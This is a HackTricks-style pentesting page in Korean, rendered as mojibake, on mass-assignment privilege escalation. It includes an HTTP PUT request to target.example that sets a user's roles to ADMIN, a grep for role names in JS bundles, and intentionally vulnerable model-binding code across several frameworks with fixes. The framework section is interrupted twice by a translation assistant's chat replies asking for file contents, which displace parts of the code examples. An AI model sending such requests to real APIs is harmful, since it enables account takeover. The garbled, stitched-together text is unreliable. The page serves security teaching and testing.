Mass Assignment (CWE-915) โ Privilege Escalation via Unsafe Model Binding
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Mass assignment(์ผ๋ช insecure object binding)๋ API/controller๊ฐ ์ฌ์ฉ์ ์ ๊ณต JSON์ ๋ฐ์ ๋ช ์์ ์ธ ํ์ฉ ํ๋ ๋ชฉ๋ก ์์ด ์๋ฒ ์ธก ๋ชจ๋ธ/์ํฐํฐ์ ์ง์ ๋ฐ์ธ๋ฉํ ๋ ๋ฐ์ํฉ๋๋ค. roles, isAdmin, status ๋๋ ์์ ๊ถ ํ๋ ๊ฐ์ ๊ถํ์ด ์๋ ์์ฑ์ด ๋ฐ์ธ๋ฉ ๊ฐ๋ฅํ๋ฉด, ์ธ์ฆ๋ ์ด๋ค ์ฌ์ฉ์๊ฐ๋ ๊ถํ์ ์์น์ํค๊ฑฐ๋ ๋ณดํธ๋ ์ํ๋ฅผ ๋ณ์กฐํ ์ ์์ต๋๋ค.
์ด๋ Broken Access Control ๋ฌธ์ (OWASP A01:2021)๋ก, roles=ADMIN ๊ฐ์ ๊ฐ์ ์ค์ ํด ์์ง์ ๊ถํ ์์น์ ์ ๋ฐํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์๋์ผ๋ก ์์ฒญ ๋ณธ๋ฌธ์ ๋ฐ์ดํฐ ๋ชจ๋ธ์ ๋ฐ์ธ๋ฉํ๋ ํ๋ ์์ํฌ(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs ๋ฑ)์ ํํ ์ํฅ์ ์ค๋๋ค.
1) Finding Mass Assignment
์๊ธฐ ํ๋กํ์ ์ ๋ฐ์ดํธํ๊ฑฐ๋ ์ ์ฌํ ๋ฆฌ์์ค๋ฅผ ์์ ํ๋ self-service ์๋ํฌ์ธํธ๋ฅผ ์ฐพ์๋ณด์ธ์:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
mass assignment๋ฅผ ์์ฌํ๋ ํด๋ฆฌ์คํฑ:
- ์๋ฒ๊ฐ ๊ด๋ฆฌํ๋ ํ๋(e.g., roles, status, isAdmin, permissions)๋ฅผ ๋น์ ์ด ์ ์กํ์ง ์์๋๋ฐ๋ ์๋ต์์ ์์ฝํ๋ค.
- ํด๋ผ์ด์ธํธ ๋ฒ๋ค์ ์ฑ ์ ์ฒด์์ ์ฌ์ฉ๋๋ role ์ด๋ฆ/ID ๋๋ ๋ค๋ฅธ ๊ถํ ์์ฑ๋ช (admin, staff, moderator, internal flags)์ด ํฌํจ๋์ด ์์ด ๋ฐ์ธ๋ฉ ๊ฐ๋ฅํ ์คํค๋ง๋ฅผ ์์ํ๋ค.
- Backend serializers๊ฐ ์๋ ค์ง์ง ์์ ํ๋๋ฅผ ๊ฑฐ๋ถํ์ง ์๊ณ ํ์ฉํ๋ค.
Quick test flow:
- ์์ ํ ํ๋๋ง ํฌํจํด ์ ์ ์ ๋ฐ์ดํธ๋ฅผ ์ํํ๊ณ ์ ์ฒด JSON ์๋ต ๊ตฌ์กฐ๋ฅผ ๊ด์ฐฐํ๋ค(์ด๋ ๊ฒ ํ๋ฉด schema๊ฐ leaks ๋๋ค).
- ๋ณธ๋ฌธ์ ์กฐ์ํ ๊ถํ ํ๋๋ฅผ ํฌํจํด ์ ๋ฐ์ดํธ๋ฅผ ๋ฐ๋ณตํ๋ค. ์๋ต์ด ๋ณ๊ฒฝ์ ์ ์งํ๋ฉด mass assignment์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
์๋ต์ด ๊ถํ ์๋ ํ๋๋ฅผ ์์ํจ:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation โ Role Escalation via Mass Assignment
๋ฐ์ธ๋ฉ ๊ฐ๋ฅํ ํํ(bindable shape)๋ฅผ ์๊ฒ ๋๋ฉด, ๋์ผํ ์์ฒญ์ privileged ์์ฑ์ ํฌํจํ์ธ์.
์: ์์ ์ ์ฌ์ฉ์ ๋ฆฌ์์ค์์ roles๋ฅผ ADMIN์ผ๋ก ์ค์ :
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
์ฐธ๊ณ
- ์ญํ ์๋ณ์์ ๊ตฌ์กฐ๋ ํด๋ผ์ด์ธํธ JS ๋ฒ๋ค์ด๋ API ๋ฌธ์์์ ์์ฃผ ์ด๊ฑฐ๋ฉ๋๋ค. โrolesโ, โADMINโ, โSTAFFโ ๊ฐ์ ๋ฌธ์์ด์ด๋ ์ซ์ ์ญํ ID๋ฅผ ์ฐพ์๋ณด์ธ์.
- ํ ํฐ์ claims๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด(์: JWT roles), ์๋ก์ด ๊ถํ์ ๋ฐ์ํ๋ ค๋ฉด ๋ณดํต logout/login ๋๋ token refresh๊ฐ ํ์ํฉ๋๋ค.
3) Client Bundle Recon for Schema and Role IDs
- minified JS ๋ฒ๋ค์์ ์ญํ ๋ฌธ์์ด๊ณผ ๋ชจ๋ธ ์ด๋ฆ์ ๊ฒ์ฌํ์ธ์; source maps๋ DTO shapes๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค.
- roles, permissions, ๋๋ feature flags์ arrays/maps๋ฅผ ์ฐพ์๋ณด์ธ์. ์ ํํ ํ๋กํผํฐ ์ด๋ฆ๊ณผ ์ค์ฒฉ ๊ตฌ์กฐ์ ๋ง์ถฐ payloads๋ฅผ ๊ตฌ์ฑํ์ธ์.
- ์ผ๋ฐ์ ์งํ: role name constants, dropdown option lists, validation schemas.
๋ค์ด๋ก๋ํ ๋ฒ๋ค์ ๋ํ ์ ์ฉํ greps:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) ํ๋ ์์ํฌ์ ํจ์ ๋ฐ ์์ ํ ํจํด
์ด ์ทจ์ฝ์ ์ ํ๋ ์์ํฌ๊ฐ req.body๋ฅผ ์์์ ์ํฐํฐ์ ์ง์ ๋ฐ์ธ๋ฉํ ๋ ๋ฐ์ํฉ๋๋ค. ์๋๋ ํํ ์ค์์ ์ต์ํ์ ์์ ํ ํจํด์ ๋๋ค.
Node.js (Express + Mongoose)
์ทจ์ฝ:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
ํ์ผ ๋ด์ฉ์ ๋ถ์ฌ ๋ฃ์ด ์ฃผ์ธ์. ์ ์ฒด ๋งํฌ๋ค์ด์ ๋ฐ์ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฝ๋๋ค.
์ฃผ์:
- ์ฝ๋, ํดํน ๊ธฐ๋ฒ ๋ช ์นญ, common hacking ๋จ์ด, ํด๋ผ์ฐ๋/SaaS ํ๋ซํผ ์ด๋ฆ(์: Workspace, aws, gcp ๋ฑ), โleakโ ๊ฐ์ ๋จ์ด, pentesting, ๋งํฌ์ ๊ฒฝ๋ก(์: lamda-post-exploitation.md) ๋ฐ ๋งํฌ๋ค์ด/HTML ํ๊ทธ๋ ๋ฒ์ญํ์ง ์์ต๋๋ค.
- ์๋ณธ ๋งํฌ๋ค์ด/ํ๊ทธ/๊ฒฝ๋ก๋ ๊ทธ๋๋ก ์ ์งํฉ๋๋ค.
์ํ์๋ฉด ๋ฌธ์ ์๋ ๋ถ๋ถ(์: ๋ฌธ๋ฒ, ๋ถ๋ช ํํ ๋ฌธ์ฅ)๋ง ์ง์ ํด์ ์์ ํด ๋๋ฆด ์๋ ์์ต๋๋ค. ์ด๋ค ๋ฐฉ์์ผ๋ก ์ํ์๋์ง ์๋ ค ์ฃผ์ธ์.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
์ทจ์ฝ (strong parameters ์์):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
์์ (strong params + ํน๊ถ ํ๋ ์์):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
์ทจ์ฝ:
protected $guarded = []; // Everything mass-assignable (bad)
๋ฒ์ญํ src/pentesting-web/mass-assignment-cwe-915.md ํ์ผ์ ๋ด์ฉ์ ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
์ทจ์ฝํ ํจํด:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
์์ : ํ์ฉ๋ ํ๋๋ง ์๋ DTO๋ก ๋งคํํ๊ณ authorization๋ฅผ ๊ฐ์ ์ ์ฉ:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
๊ทธ๋ฐ ๋ค์ ํ์ฉ๋ ํ๋๋ฅผ DTO์์ entity๋ก ์๋ฒ ์ธก์์ ๋ณต์ฌํ๊ณ , RBAC ๊ฒ์ฌ ํ admin-only ํธ๋ค๋ฌ์์๋ง ์ญํ ๋ณ๊ฒฝ์ ์ฒ๋ฆฌํ์ธ์. ํ์ํ ๊ฒฝ์ฐ ๊ถํ ์๋ ํ๋์ @JsonIgnore๋ฅผ ์ฌ์ฉํ๊ณ ์ ์ ์๋ ์์ฑ์ ๊ฑฐ๋ถํ์ธ์.
Go (encoding/json)
- ๊ถํ ์๋ ํ๋๊ฐ json:โ-โ์ ์ฌ์ฉํ๋๋ก ํ๊ณ , ํ์ฉ๋ ํ๋๋ง ํฌํจํ๋ DTO struct๋ก ๊ฒ์ฆํ์ธ์.
- decoder.DisallowUnknownFields()์ ๋ฐ์ธ๋ฉ ์ดํ ๋ถ๋ณ์ฑ ๊ฒ์ฆ(post-bind validation)์ ๊ณ ๋ คํ์ธ์ (self-service ๊ฒฝ๋ก์์๋ roles๋ฅผ ๋ณ๊ฒฝํ ์ ์์).
์ฐธ์กฐ
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 โ Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


